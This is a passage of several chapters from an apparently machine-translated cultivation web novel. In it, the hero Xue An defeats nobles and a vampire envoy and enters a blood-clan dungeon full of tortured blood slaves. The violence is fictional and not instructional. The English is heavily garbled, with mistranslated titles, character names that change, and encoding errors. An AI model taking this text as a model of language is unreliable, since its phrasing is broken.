

    Those noble ladies began to scream pretentiously.


    Some are even more likely to faint.


    And those nobles and young masters, although there may be a lot of fighting in peacetime, but at this time they are still united and all stand for Biss.


    After all, Xue An is not a member of their circle, which naturally made this group of noble young masters and young ladies feel the same hatred and hatred.


    So exclamation and admiration echoed in the entire banquet hall.


    "Brother Bis is so handsome!"


    "Master Baron, let this arrogant boy suffer a bit and die, let him know how good we are!"


    These flag waving and shouting made Biss proudly, and then he held the sword in one hand and raised his chin at Xue An arrogantly.


    "Man, pull out your sword!"


    Xue An smiled and shook his head, "No need! If I use to draw a sword against you, then I might as well just wipe my neck!"


    As soon as this statement was made, the audience was silent.


    Because this sentence is no longer a simple contempt or insult, it is simply a naked ignorance!


    This Bis was even more angry with blue veins bursting on his forehead.


    And Xue An''s next sentence made him completely crazy.


    Seeing Xue An with his hands behind his back, and then said lightly: "Not only do I not draw a sword, I don''t even use two hands, and as long as you can shake me with a single sword, even if I lose, what do you think?"


    Now even Lena couldn''t help it, "Mr. Xue, you..."


    She wanted to say don''t be too careless, this Bis is not comparable to ordinary nobles.


    But it was too late.


    I saw that Bis suddenly calmed down at this moment, and then smiled coldly, "Very well, then I will let you know today what it''s like to die!"


    After all, Biss held a sword in both hands, changed his footsteps, rushed up quickly, and then aimed at Xue An, which was a blow to his head.


    This sword smashed straight down with the sound of howling wind, and the momentum was so strong that all the nobles who were watching were discolored.


    But Xue An seemed to have not seen this sword, still standing there in time, even blinking his eyelids.


    Bis was overjoyed in his heart and thought Xue An was frightened.


    He just pretended to be very bluff, but in the end he couldn''t escape even a sword of his own.


    Many people even shook their heads secretly, thinking that Xue An would undoubtedly lose.


    But just when this sword was worthy of reaching Xue An''s forehead, only a finger was about to strike it.


    Xue An suddenly yawned boredly.


    "You know, I haven''t seen such a slow sword, and I''m going to fall asleep even after waiting!"


    Then, with Xue An''s yawn, the sword in Biss''s hand was silently turned into powder and diffused.


    "What the hell?"


    The many nobles onlookers were all shocked.


    And this Bis lowered his head and stared blankly at the only remaining Jian E in his hand, with a look of bewilderment.


    "This...what''s going on? What kind of black magic did you use?" Biss screamed.


    Xue An sighed helplessly To be honest, I don''t know too much, but I guess your sword is too fragile, so it was shattered by my yawn just now! "


    "You lie! I don''t believe it!" This Bis was already a little hysterical, roared and threw away the broken jaw in his hand, then raised his fist and blasted towards Xue An.


    I have to say that Bis''s boxing skills are slightly stronger than swordsmanship.


    At least this punch is a good one.


    But in front of Xue An, both strong and weak have lost their meaning.


    Xue An just lowered his eyes and said lightly.


    "Well, people seem to have arrived, so I won''t play with you!"


    Words fall.


    This imposing Bice was hit by a mammoth head-on, and was blasted out directly, then fell to the ground and passed out.

 Chapter 860： The Blood Messenger

    The audience was silent.


    Many people can''t believe their eyes.


    Because from beginning to end, Xue An didn''t even move.


    But this Biss had lost two consecutive battles, and at the end he flew out for no reason, unconscious.


    Even if he knows how to use magic, there must be traces to follow.


    This is just like magic.


    At this time, many people looked at Xue An''s eyes changed, becoming awed with a trace of fear.


    Even Lena looked at Xue An with surprise.


    Xue An shook his head and sighed, "This is too irresistible! I have tried my best to control it, but you still didn''t avoid it!"


    Then Xue An raised his eyes and scanned the nobles in the audience.


    No one dared to look at Xue An, and these people bowed their heads wherever they looked.


    At this moment, there was a sudden noise at the door.


    Then someone shouted in surprise: "It''s Your Majesty, Your Majesty is back!"


    The somewhat solemn atmosphere was suddenly ignited.


    These nobles flocked to the door, standing with their hands down.


    The eldest princess Loya and Yager came first.


    After the two of them came in, they also stood on both sides of the road.


    Then I saw a middle-aged man with a dignified face walking in like a trot.


    The appearance of this man caused a slight commotion in the audience.


    "Master Lizun is back!"


    "Hehe, there is a good show to watch now!"


    Many people looked at Xue An with gleeful gazes.


    Xue An was not moved at all, just watched quietly.


    After these people walked in.


    Just listened to a burst of drum music, and then someone said with a flattering smile: "Blood makes adults, Xiao Guoli is humble and poor, and there is a lack of hospitality, please forgive me!"


    There was a slight commotion upon hearing this.


    Because this voice is full of flattering, isn''t it their lofty King?


    How did this guest come from to make His Majesty the King so humble?


    Then I heard a proud voice and said lightly: "Well, anyway, I am not here for your little Dirk country this time!"


    "Yes Yes Yes!"


    Following the voice, a group of people came in.


    Walking in front of the team, nodding and bowing to give guidance, was a fat middle-aged man wearing gorgeous clothes and a well-groomed mustache.


    Behind him, Anbu was a young man wearing a blood-colored robe, with a sickly white complexion and a strange face.


    After seeing this man, many well-informed nobles shook their bodies, and then bowed their heads deeply in fear, not even daring to take a peek.


    Because they finally understand why their King is so humble and flattering.


    Because this person is the blood that can determine the rise and fall of a country in one word!


    It can be said that compared with the bloodstainer, all kings and nobles are just ants.


    Therefore, the atmosphere in the field suddenly became solemn and solemn.


    The King Dirk cautiously guided the blood to make the lord go to the seat on the high platform specially prepared for the most distinguished guests.


    But he was so immortal, the Biss who was blown out by Xue An was lying on their only way.


    The King Dirk saw this scene, his face sank.


    In order to meet this time, he spent countless efforts, for fear that there would be mistakes again, which angered the blood envoy.


    In that case, the entire Dirk Kingdom may be destroyed.


    But I didn''t expect this episode to appear suddenly at this time.


    King Dirk was naturally full of anger.


    At this time, the Zhenguo Martial Saint Lizun stepped forward and waved his hand. Biss, who was lying on the ground unconscious, was lifted up by a gentle force, and then flew into the corner lightly, falling softly and silently. Down.


    There was no sound during the whole process, and the movements were natural and beautiful, as if they were all natural.


    Many onlookers couldn''t help wondering.


    Sure enough, he is the aloof Master Wu Sheng, and the hand that he casually exposed is breathtaking.


    King Dirk''s complexion looked better now, and then he smirked at the blood to make the lord.


    "Bloodmaker, please come to your seat!"


    The young blood made the adult snorted from his nostrils, then stepped onto the high platform and sat on the throne.


    From beginning to end, Xue An looked at the blood envoy with great interest, and his face was always smiling, as if he was very happy.


    But the Lena beside him was not in such a good mood.


    She was shaking all over, her face full of horror.


    "Xue...Mr. Xue, although it is disrespectful, I think it is better for you to leave here as soon as possible!" Lina said with a trembling voice, suppressing her voice.


    "Oh? Why?" Xue An said lightly.


    "Because...because that person is a true messenger of God, no one will be their opponent! You should go quickly! Otherwise, you may not be able to leave for a while!"


    Xue An laughed, "God''s messenger, well, I would like to see it!"


    Lina was full of despair when she heard this.


    Because she noticed.


    Someone just whispered a few words in the ears of Yager and his sister Loya.


    Then Yage glanced over here with a gloomy expression.


    The eyes were full of gloom and killing intent.


    This made Lena understand.


    It is impossible for Xue An to leave now.


    That Bis is Yage''s disciple, and Yage is the lover of Zhenguo Wusheng.


    As a result, the whole situation became more and more unfavorable for Mr. Xue.


    Just when Lena was lost.


    Countless noble ladies are looking at the high blood envoy with bright eyes.


    "Oh my god, is this the messenger of God who can make people young forever?"


    "He actually came, is he here to screen blood slaves?"


    "I''m so strange and evil, I almost fainted!"


    These noble ladies now wish to get into the arms of this blood envoy.


    The scorching gaze made the blood make a smile of contentment, but he was very disapproving in his heart.


    What a bunch of stupid untouchables.


    At the same time, the banquet officially began.


    The wine and delicacies appeared like flowing water, and on the high platform, in front of the blood envoy, was a cup of dark red liquid.


    The King Dirk said with a flat face: "Bloodmaker, I don��t know what taste you like, so I found a group of young girls who are twenty-eight years old. Ten people have gathered into such a cup, you can taste it!"


    These words made the blood envoy very useful, "You did your heart!"


    The King Dirk trembled with excitement, "This is what we should be!"


    The blood messenger picked up the cup and took a sip, then tasted it with a look of intoxication.


    But immediately, his brows gradually frowned, and then he spit out the blood in his mouth.


    "Blood...Bloodmaker, what''s the matter?" King Dirk asked with horror when he saw this.


    The blood makes a bit disgusted and said: "The breath is impure, and at least half of the women are already impure!"

 Chapter 861： There is so much nonsense, just kill

    "No... impure?" The King Dirk asked in a bit of astonishment.


    The blood envoy nodded, and then said disgustingly: "What I hate most is this tainted smell!"


    "But..." King Dirk wanted to say something else.


    The blood envoy shook his head, "Stop talking!"


    Then he pointed to Luo Ya who was not far away, and said lightly: "The woman you recommended to me is no longer complete. Even today, I have been struggling. Of course I can''t ask for such goods!"


    As soon as these words came out, the face of the eldest princess paled at a speed visible to the naked eye.


    In any case, she never expected that she would actually have a cleanliness adult blood servant.


    You must know that in the past, the blood envoy never paid attention to these things.


    What''s more, in this Dirk Kingdom, the folk customs are open, especially these noble ladies are chasing excitement.


    In this case, Luo Ya was naturally not immune.


    Unexpectedly, this would actually become a reason for rejection.


    Just when she was infinite regret and pain.


    This blood makes Lina, who is standing not far away, raised his hand.


    "This woman is pretty good. Not only is she a perfect body, but she is also very spiritual. Choose her this time!"


    As soon as this sentence came out, all the eyes of the audience focused on Lena.


    The jealous eyes of those noble ladies were going blue.


    And Luo Ya shuddered all over, and then stared at her sister Lena.


    Those who are jealous are going crazy.


    She absolutely couldn''t accept that a younger sister who had been overwhelmed by herself since she was a child, could actually get the appreciation of the blood envoy.


    But despite her jealousy, she could only watch.


    Because the person who speaks, but the honorable blood sir.


    No matter how dissatisfied she is, she can only hold it in her heart.


    However, when King Dirk saw the blood, the adult chose his own little daughter, and he could not help but let out a sigh.


    In any case, as long as the person selected is from the royal family of Dirk.


    So he smiled at Lena, "Lina, don''t you want to thank the Blood Envoy for your appreciation?"


    Under all the gazes, Lena was pale, obviously very nervous.


    When she heard her father''s words, she trembled all over, looking up at a loss.


    "What are you still doing in a daze? Thank you for the Blood Envoy!" King Dirk said softly.


    At this time, I have to be nice to my little daughter, after all, the future Dirk Kingdom will depend on her!


    Sweat appeared on Lena''s forehead, and then said with great difficulty: "But Father, I don''t want to be a blood slave!"


    The audience was shocked when this sentence came out.


    King Dirk was shocked and his eyes widened in disbelief.


    "what did you say?"


    Lena stammered and said, "Father, I now have a foundation for spells, so I want to continue to study spells!"


    Hearing these words, the blood envoy sitting there sneered.


    King Dirk said sharply. "It''s really naive and ridiculous. The techniques you have studied so hard are all taught by the noble kinsmen. If you want to study, you should be a slave to the adults!"


    Lina was swayed by the roar, and her face was full of struggle and hesitation.


    But at this moment, one hand lightly patted Lena on the shoulder, and then someone chuckled and said: "It''s such a big face, you dare to claim the original technique as your own credit!"


    The audience was shocked.


    Everyone looked together.


    I saw the speaker''s long body with a faint smile on his face.


    It is Xue An.


    at the same time.


    The face of King Dirk suddenly became gloomy.


    "who are you?"


    Xue An smiled slightly, "I...I should be regarded as your daughter''s friend!"


    "Friend?" King Dirk''s face was gloomy and almost dripping.


    "Yes, it''s a friend!" Xue An said, winking at Lena.


    This Lena was originally full of fear, but somehow, when she saw Xue An''s smile and heard his words, her heart suddenly settled down.


    King Dirk looked indifferent, "Lina, don''t you even listen to my father?"


    Lina trembled all over, but still stammered: "Father... Father, I... I really don''t want to be a blood slave! Please..."


    She originally wanted to beg this father who always loved her, but before she finished speaking, King Dirk already said impatiently, "Get her!"


    "Yes!"


    The Yager answered, and the first one rushed forward.


    He had already heard about the fact that Baron Bees was beaten by Xue An into a coma, and he had already suffocated his anger.


    Now that there are opportunities to take advantage of it, it is natural to take the lead.


    What''s more, the meaning of the Lord of the Blood Envoy was already obvious. The princess Loya was not selected, but the Princess Lena was selected.


    This made Yager a little lost.


    So when he saw this opportunity now, he was the first to jump out, trying to confuse the water.


    "Your Majesty, this is your majesty''s order, don''t blame me!" This Yager smiled, and walked forward.


    Xue An stepped forward, blocking Lena, and then smiled at this Yage.


    "This Lena is my friend, since she doesn''t want to, then no one can force her!"


    This Yage was angry with Xue An long ago.


    So when he heard these words, his face was full of murderous intent.


    "Boy, the account just now hasn''t been calculated for you yet, you actually came forward to find death by yourself, don''t blame me..."


    The voice did not fall.


    Xue An stretched out his hand and flicked his finger lightly.


    This Adam felt that a powerful force was coming, so he didn''t even have a chance to resist, so he was directly blasted out and smashed a wall before he could stop.


    "So much nonsense, I''m tired of listening!" Xue An said lightly.


    The Martial Saint Lizun who had been standing behind King Dirk coldly watching everything around saw his lover being beaten, couldn''t help groaning, and then flashed and came to the court.


    "Young man, your strength is good, but the start is too harsh. Today I will let you know what is outside and there are outsiders!" Lizun said proudly, and stomped his feet suddenly.


    A soft and huge force was transmitted through the ground to Xue An''s feet like a wave, trying to knock Xue An to the ground.


    This is also Lizun''s special skill but it is such an unprofitable skill, but it has no effect on Xue An.


    Xue An stood on the undulating ground, his feet as if rooted, extremely firm.


    Then he smiled slightly at the opposite Lizun.


    "I said, you martial sages are not even worthy of giving me shoes!"


    "Zhuzi is arrogant!" Lizun roared, still wanting to attack.


    Xue An also stomped his foot abruptly, "Return it to you!"


    Lizun sneered.


    Wanting to deal with me in this way, this man is simply wishful thinking, knowing that I have practiced the leg skills for hundreds of years, and the bottom plate is so strong that no one can knock me down...


    This Li Zun was thinking with a smug face, he felt a huge force suddenly came from under his feet, and then he was shaken out, and he vomited a big mouthful of blood in the air.

 Chapter 862： Supreme majesty descends here

    oom!


    A muffled sound.


    This lord Lizun, who is known as the Martial Saint of Zhenguo, fell heavily to the ground, and even struggled several times before failing to stand up. In the end, he could only lie down on the ground without a trace of blood.


    Just a stomping.


    The Zhenguo Martial Saint was knocked to the ground, and there was no possibility of fighting back.


    This time, the audience was shocked.


    Especially the Yage who had just crawled out of the ruins, was shocked, and shouted in disbelief, "Master!"


    In his mind, his master is a peerless powerhouse, unless he encounters a figure like the blood envoy, he is invincible.


    This is also the reason why he dared to be so arrogant before.


    Unexpectedly, just today, his master was defeated by a kid who didn''t know where he came from.


    This contrast shocked his heart and his brain was blank.


    Xue An smiled at him at this moment, "I wanted to see how good your martial sage is, but did your master have this ability?"


    Seeing Xue An''s smile, this Yage was cold all over, and infinite fear arose in his heart.


    Because he finally understood that what the man said before was not arrogant.


    It really has this strength.


    At the same time, the king of Dirk also awoke from the shock, and then stared at Xue An with a complex expression.


    "The strong, what is your purpose in coming here?"


    As a man who controls a kingdom and killed him, he would never believe that a powerful samurai like Xue An would come here just because he was friends with his little daughter.


    Even after Lina heard her father''s question, she looked at Xue An blankly.


    She knew that Xue An was amazing, but she didn''t expect to be so amazing. Even the Zhen Guowu Sage of her own country was not an enemy of one of the tricks.


    And such a peerless powerhouse, really just passing through the swamp to save himself?


    What other purpose does he have here?


    These thoughts flooded Lena''s mind.


    Xue An laughed when he heard the words, and then said lightly: "I thought it was fun, so I stopped by to take a look, but now I have changed my mind! As for what you said because of..."


    Xue An raised his hand and pointed at the blood envoy above the throne.


    "Because of him!"


    This statement came out.


    The audience was silent.


    Even King Dirk didn''t expect Xue An to say that, and couldn''t help looking at Xue An in a little astonishment.


    Because blood makes adults?


    What did he do to find the blood?


    At this moment, the blood used a playful tone and said lightly.


    "Because of me? Then I''m very curious, what on earth do you want to do?"


    "It''s very simple, kill you, and then find the blood world behind you!"


    boom!


    Xue An''s words caused a great uproar.


    "I... Am I right? How dare this man talk to the Bloodstalker like this?" someone said with horror.


    "I''m still too young. I really thought that if I could defeat Lord Lizun, would I be able to fight the Protoss?" Someone shook his head and sighed.


    But Yager, Loya and others all showed a hint of joy.


    Especially Yager.


    He wished to laugh three times now.


    Because this man actually dared to provoke the blood clan, is this unclear whether he wanted to die?


    And this blood envoy''s eyes gradually cooled, and then stood up and looked down at Xue An condescendingly.


    "Young man, I admire your courage to say this! Unfortunately, for thousands of years, there have been too many people like you!"


    "You group of ants who think they have power will always lose their awe. Fortunately, today I will let you know that the majesty of the Protoss cannot be slandered!"


    As he said, an extremely evil blood radiated from this blood envoy.


    The whole palace was trembling.


    Under this kind of power, the people who were close to them all walked back with a panic.


    And Xue An looked at the blood around the surroundings in time, and said lightly: "It looks like only the strength of the earl, but it is stronger than the hybrid blood races on the earth!"


    These words were not loud, but they sounded like thunder in the ears of this blood envoy.


    How could he know the division of strength within our blood clan, and accurately state my strength?


    Suspicion just came up in my heart.


    Xue An said boredly: "Well, this game should be over!"


    After all, Xue An''s eyes flashed, and an extremely awe-inspiring momentum rose into the sky from him.


    Xue An completely let go of the strength that has been suppressed.


    The supreme power of a half-step true fairy made the entire palace, the entire capital, and even the entire continent tremble.


    After the martial sages or strong men scattered all over this continent felt this power, they all crept on the ground tremblingly, and didn''t even dare to lift their heads.


    Because this power has exceeded their understanding.


    As for everyone in the banquet hall, they were completely petrified on the spot.


    This is because Xue An tried to suppress his momentum.


    If it is completely let go.


    Then everyone in this banquet hall will instantly turn to fly ashes.


    Even so, it is enough for these people.


    Thump thump.


    Countless people began to kneel to the ground.


    Even King Dirk, the most respected country, fell to the ground with a pale face.


    As for the blood envoy who had just been arrogant and arrogant, at this moment, his whole body was trembling, and his eyes were full of horror.


    The stronger you are, the more you can feel Xue An''s strength today.


    He even felt that this force was countless times stronger than those Grand Dukes he had seen.


    At this time, Xue An glanced at him lightly.


    As far as the eye can see.


    An invisible force suddenly added to the body, directly pressing the blood envoy to the ground.


    Click.


    Because the power was too great, the blood envoy''s knee was shattered.


    But under this kind of severe pain, he didn''t even dare to scream, he could only tremble and say, "Big...sir! Forgive me!"


    When facing the strong, bowing to one''s knees and even betraying dignity, this is the way of survival of the blood race.


    And hearing the blood that was still high just now caused the adults to surrender in a blink of an eye Many people feel infinitely absurd.


    Especially the Yage, who had repeatedly provoke Xue An, couldn''t wait to plunge his head into the cracks in the ground at this time, for fear that Xue An would think of himself again.


    But Xue An gave him a casual look at this moment.


    The coercion of the true immortal crushed him completely.


    As a result, the Yage-sama, who had just flaunted his might, did not even hum, and became a mass of flesh and blood.


    Such a scene also made the blood envoy tremble, almost beyond words.


    At this moment, Xue An turned his head and smiled at him slightly, "Don''t be afraid, as long as you cooperate well, I can save you temporarily!"


    "Yes...Yes!" the blood envoy said with difficulty.


    "Come on, what''s your name! Where is the gathering place of your blood race?"

 Chapter 863： Here the world is like a cage

    "My lord, my name is Hall, I come from the ancient Faulkner family! And our resident is..." Speaking of this, Hall hesitated.


    "Ok?"


    Hall trembled, and hurriedly said: "My lord, this continent is a secret realm that our Faulkner family uses to cultivate and raise high-quality blood slaves! And our family''s residence is not here at all, but in the secret realm. outer!"


    Hearing these words, the nobles in the banquet hall looked pale.


    They didn''t understand until this time.


    It turned out that the world he was in was basically a cage used to raise blood slaves.


    And he, in the eyes of these blood races, may be similar to cattle.


    Everything that was originally proud of was shattered at this moment, and these people were naturally full of panic and despair.


    Xue An had anticipated this.


    Because after entering this world, he found that the rules of heaven and earth in this world were extremely single and lacking, and there were obvious signs of man-made manipulation.


    Therefore, Xue An suspected at the time that this place might be used by a certain blood family to cultivate or raise blood slaves.


    This seems a bit difficult to accept.


    But in the heavens and worlds, this is just a routine operation.


    Some ancient demons even cultivated a big world, and then used the souls naturally grown in the big world to feed their devil.


    There is no way, the survival of the fittest is the unchanging truth and law in this vast universe.


    "Big...sir, what I said is the truth, do you think you can let me go?" Hall licked his chapped lips and said in fear.


    At this moment, in his heart, in addition to fear, it is extremely sad.


    I thought it would be a relaxing journey, but I didn''t expect to meet a strong man like Xue An.


    And Hall still didn''t understand how Xue An entered this secret realm?


    Could it be prepared? For our Faulkner family?


    This thought made Hall''s hair straight up, and he didn''t even dare to think about it anymore.


    Xue An smiled upon hearing this, "Apart from your Faulkner family, what other powerful families are in the blood world?"


    "This..." Hall just hesitated.


    "Forget it, let me see for myself!"


    Having said that, Xue An''s eyes flashed, and the powerful divine mind broke into Hall''s sea of ??consciousness like a ruin, and then began to search for all useful information.


    After a while.


    Xue An withdrew from the sea of ??consciousness in Hall with a sinking face.


    He found a lot of useful information.


    But at the same time, I saw a lot of unsightly pictures.


    For example, the blood slaves selected from here often end up miserably.


    Because in the eyes of these blood races, these blood slaves are basically an item used to vent their desires and provide blood.


    The structure of this Blood God Realm is extremely special.


    It''s like an onion, wrapped in layers.


    The further you go in, the stronger your strength becomes.


    Xue An estimated that the true Blood God Realm might be the core that was wrapped in layers.


    As for the Faulkner family, they are in the outermost layer of the world.


    Even so, they can still raise blood slaves unscrupulously, which shows the arrogance and cruelty of these blood races.


    "Big...sir!" Hall just wanted to say something.


    Xue An raised his hand and pointed it directly at Hall''s brow.


    There was a huge shock all over Hall, closing his eyes tightly, and there was a terrified gurgling sound in his throat.


    He thought Xue An was about to kill himself.


    But after a while, without the sharp pain as expected, Hall could not help but slowly open his eyes.


    I''m not dead?


    This was Hall''s first thought.


    Xue An said calmly: "It''s enough to kill you ten times for what you did! But for the sake of your honesty, I will save you for the time being! But you have to be obedient, remember? "


    Hall was ecstatic.


    I''m fine if I don''t die!


    After I go out, the patriarch will definitely support me!


    As soon as this thought came up in his mind, he felt a surge of pain from the depths of his soul.


    The pain was so fierce that he rolled and tossed on the ground regardless of his image, and his muscles kept twitching.


    Xue An looked at it coldly, and then said.


    "Don��t think about revenge, because I have just cast a curse in your soul. As long as you have a hint of disobedience, this curse will make you worse than death. After three times, your soul Even your flesh exploded Peng��s utterly into nothing, do you understand?"


    Xue An''s tone was indifferent, but he could hear the whispers of the devil in this Hall''s ears.


    "You...what on earth do you want to do?" Hoer Qiang asked with a trembling voice, suppressing the fear in his heart.


    Xue An smiled, "Didn''t I just tell you, I''m going to the gathering place of your blood race!"


    Hall was afraid to speak.


    He could only lower his head and waited for Xue An''s downfall with horror.


    At this time, Xue An looked around all the people in the banquet hall.


    "I''m sorry, this dinner seems to be disturbed by me!"


    No one dared to speak.


    joke.


    Even the incomparable bloodstained man is not the opponent of this man, and he is even subdued by him.


    How dare your group of people speak?


    Xue An looked at King Dirk, who was trembling all over, kneeling in the corner, and said lightly: "As a king, in order to flatter him, he actually killed his people, even at the heart of fifty women. The blood is made into a drink and offered, you say, what price should you pay for it?"


    King Dirk fell to the ground like a puddle of mud, looking at Xue An with pleading eyes.


    Xue An was unmoved.


    Rina couldn''t help but rushed forward and pleaded: "Xue...sir, my father did not deliberately want to do this. It is because these blood powers control the power of life and death, we have to do this. What! What''s more, those women didn''t die, they just suffered some minor injuries! So please let him go!"


    Xue An was slightly startled when he heard the words, and then sighed lightly.


    Yes!


    These things seem to be wicked in their own eyes, but as a group of captivity, how can they face a powerful blood family?


    "Okay, even if you let him go!"


    Xue An said and waved.


    Lena felt that a huge divine thought appeared in her mind, which contained a lot of complicated information.


    "this is����."


    "If you don''t want to be the fish on the chopping board, first of all you must have enough strength! These spells should be able to help you!" Xue An said lightly.


    Lina was stunned The spells that Xue An bestowed on her were unheard of. From the mysterious writing alone, one could see that they were extremely powerful spells.


    She was about to thank.


    Xue An smiled slightly, "No thanks, after all...Are we friends!"


    Lena was taken aback for a moment, then nodded quickly, "Hmm! Of course we are friends!"


    Xue An smiled faintly, and then said: "Okay, let''s go!"


    Hall quickly responded: "Yes!"


    Then he quickly opened the scroll he was carrying and opened the door of the secret realm.


    "My lord, this is the way to leave the secret realm!"


    Xue An nodded.


    Then the two left this secret realm one after another.

 Chapter 864： Family Dungeon

    The brilliance in front of me gradually faded.


    The first thing that caught your eye was a very large room.


    On the ground, there are magic circles carved out with scarlet blood.


    Even the air was filled with disgusting blood.


    "My lord, this is the outermost layer of the blood world, the residence of the Faulkner family!" Hall whispered.


    Xue An nodded slightly.


    In his divine consciousness perception, within a hundred li, the aura of the blood race is dense like stars, and there is even an extremely powerful aura.


    This made Xue An quite happy, and a faint smile appeared at the corner of his mouth.


    After all, in his opinion, these blood races all represent blood beads.


    But his smile fell in Hall''s eyes, but the meaning was completely different.


    Because in Hall''s eyes, Xue An''s current smile is almost full of evil, making him who is cruel by nature can not help but feel cold.


    Who is the devil? Hall complained silently.


    At this moment, I saw the magic circle next to him fluctuating, and then two figures came out from the brilliance.


    Walking in the forefront was a blood clan with an evil face and some fangs at the corner of his mouth.


    And behind him was an unusually handsome teenager who looked like a woman.


    As soon as he saw these two people, Hall''s complexion became a little ugly, "My lord, the guy walking in front is called Tolan, and he is an extremely annoying guy!"


    Just talking.


    This Tolan had already noticed Hall and Xue Anren, and he was taken aback for a moment, and then he showed a joking smile.


    "Isn''t this Hall? Why? Did you find such a thing in the blood prison?" The blood clan named Tolan said as he looked up and down Xue An, his eyes full of picky.


    Xue An did not say a word.


    This Hall couldn''t help gritting his teeth, "Tolan, don''t you want to be rampant in front of me!"


    "Haha, madness? Hall, the eldest lady said, as long as I can find a satisfactory prey for her this time, she will help me break through as a marquis. Then, you will have to kneel down and salute when you see me! Dare to say that I am mad?" Tolan said with a smug expression.


    Hall was taken aback, "Miss?"


    "Yeah, Hall, don''t you say that you don''t know, otherwise why would you choose a male blood slave?"


    Hall was still a little dumbfounded.


    This Tolan glanced at Xue An with disdain, "But what I want to say is, your eyes are really bad, don''t you know that our eldest lady likes beautiful men the most? Like me !"


    Tolan pointed to the boy behind him.


    The boy''s face turned red, and then he lowered his head shyly.


    In every move, it really seems to have thousands of styles.


    At least Hall looked silly.


    This Tolan became more and more proud when he saw this. "Have you seen? Hall, you want to fight me, you are still tender!"


    After that, Tolan turned around triumphantly and led the boy away.


    At the moment of turning around, the young man gave Xue An a cold look, and his heart moved slightly.


    According to Master Tolan, is this man his competitor?


    Although he looks handsome, he is far less beautiful than yourself!


    Hum, it seems that I am really set to win this time.


    Thinking of this, the young man walked away with a smug look.


    Until both of them had disappeared.


    This was how Hall swallowed with difficulty, "My lord..."


    Xue An stood there and said lightly: "What''s the matter with the lady you just mentioned?"


    Hall smiled bitterly: "The eldest lady''s name is Ai Xi, who is the eldest daughter of our patriarch. She is now a powerful blood at the peak of the Marquis, but she has a slutty nature, and her favorite is the beautiful young blood slave. But in recent years, she has been asleep because of the breakthrough, but she did not expect to have woken up this time!"


    While talking about this, Hall has been peeping at Xue An for fear that Xue An will suddenly run away.


    After all, he has now figured out some of Xue An''s temper.


    But to his surprise.


    After Xue An heard all this, not only was he not angry, but smiled instead.


    "It''s interesting! Then you offer me too, I would like to see what this eldest lady looks like."


    "Huh?" Hall thought he had heard it wrong.


    Xue An turned his head and glanced at him, "Didn''t you hear?"


    "Ah... I heard it!" Hall hurriedly nodded in response.


    "But my lord..." Hall said grimly: "If you want to be offered up, you have to enter the family dungeon first, and then wait for the lady''s choice!"


    "Then go to the dungeon!"


    "However, there are places where blood slaves from all sides are held, and the environment is very messy..."


    Hall still had some concerns.


    Xue An said lightly: "It''s okay, I''m here to see these things!"


    "Ok... alright!"


    Hall secretly squeezed a cold sweat.


    Although the contact time with Xue An is very short.


    But this powerful man, like a fan, gave Hall a great shock.


    Especially Xue Ana''s non-traditional way of doing things made Hall even more frightened.


    He was afraid that Xue An would kill himself again because of some trivial matter.


    After all, now his life is pinched between Xue An''s thoughts.


    Secretly cried out, but Hall did not dare to defy the slightest, and respectfully led Xue An to the Faulkner family''s dungeon.


    As he said, the blood slaves of all parties are being held here.


    Among them are newcomers like Xue An who are about to be "presented".


    There are also "scraps" that have been tortured to the point of losing their sanity.


    In short, here is an extremely messy and unbearable place.


    When Hall tremblingly led Xue An into this place, the blood soldier guarding the dungeon greeted him.


    "It turned out to be Lord Hall! Why? Did you have fresh goods delivered?" The guard said with a smile Hall''s back was soaked in cold sweat, but he still said with a strong smile. :"Yeah yeah!"


    "It just so happened that Master Tolan and several adults just sent their blood slaves, and they were all dedicated to the eldest lady. Let''s lock them together!" said the soldier.


    Hall hurriedly looked at Xue An secretly.


    Found that Xue An had no expression.


    Then he nodded with difficulty, "Yes, or!"


    The soldier didn''t notice Hall''s strangeness, he smiled and led the way, talking while walking.


    "Master Hall, there are more and more blood slaves in our dungeon, and even the cells are not enough. Please have a chance to talk to a few elders and throw out all the scraps so that you can make a difference. Make room!"


    This Hall heard that the veins on his forehead were exposed, and he could not wait to rush to strangle the broken-mouth soldier now.

 Chapter 865： Black eyes and black hair look like a teenager

    Saying this in front of Xue An, isn''t this adding fuel to the fire?


    But to his surprise, Xue An still didn''t have any expressions, just walking in a leisurely manner.


    Only then did Hall''s heart relax slightly.


    But he didn''t notice it at all.


    In Xue An''s eyes, the killing intent became more and more prosperous.


    Because of this journey, all Xue An witnessed were cruel pictures that were beyond the imagination of ordinary people.


    The girl who had been tortured and lay on the ground dying, even her sanity had completely collapsed.


    But they couldn''t die.


    Because they have become "noble" blood slaves among many people.


    This kind of blood imprisonment keeps them alive and will never be free.


    This is even more cruel punishment than hell.


    But to the mouth of these blood races.


    But there is only an understatement of waste.


    This made Xue An''s murderous intent gradually rise, but it didn''t show the slightest on the surface, and he still followed Hall and the others.


    quickly.


    They turned a few corners, and then came to a cell with a much better environment than outside.


    Those detained here are all blood slave candidates who have not yet been submitted.


    These people are male and female, and they all looked at everything around them curiously, and they were talking quietly with each other, looking very excited.


    When Hall waited for a group of people to walk in, they all cast their gazes.


    Then they all gathered to Xue An who was walking behind.


    "Is this man also dedicated to the noble eldest kinsman?"


    "He looks handsome, but it''s not feminine enough, I guess Missy won''t like it!"


    "Huh, there is another competitor!"


    The voices of these discussions came one after another.


    Including the boy whom Tolan had just seen, was among them.


    I saw him looking at Xue An with contempt, his eyes full of hostility.


    He is a person in another blood cell of the Faulkner family, and his status is very honorable.


    He was the prince of the largest country in the world, named Sohao.


    Because of this, he would contact Tolan who came to select blood slaves for the first time, and obtained a lot of information through Tolan.


    Especially the family eldest lady Aisi, who just woke up from a deep sleep, made this So Hao full of yearning.


    To them, Tolan, as a blood envoy, is already an extremely noble existence.


    But Aisi is the eldest lady of this family.


    If you can cling to this kind of existence, not only will you have power and status at your fingertips, but you will even have an endless life span and great power.


    Therefore, this Soho is bound to win this election.


    And after entering this dungeon, he analyzed in detail those who are also ready to dedicate to the eldest lady.


    Then his heart settled down, thinking that no one could pose a threat to himself.


    But he didn''t expect that Xue An actually appeared again.


    Although this man is not as "soft and beautiful" as himself, he is also very handsome.


    The key is that the indifferent but noble temperament in him made this Soho feel a great threat.


    So he doesn''t have the slightest affection for Xue An.


    quickly.


    Xue An was imprisoned in this dungeon.


    When Hall was about to leave, he looked at Xue An hesitantly.


    Xue An nodded slightly.


    This was how Hall left with entanglement.


    Wait until even the blood soldier guarding has left.


    Someone leaned in.


    "Hi, brother, where?"


    Xue An turned his head and glanced at the man, then walked into the corner without saying a word, sat down cross-legged, and began to meditate with his eyes closed.


    Xue An''s behavior caused these people to look at each other.


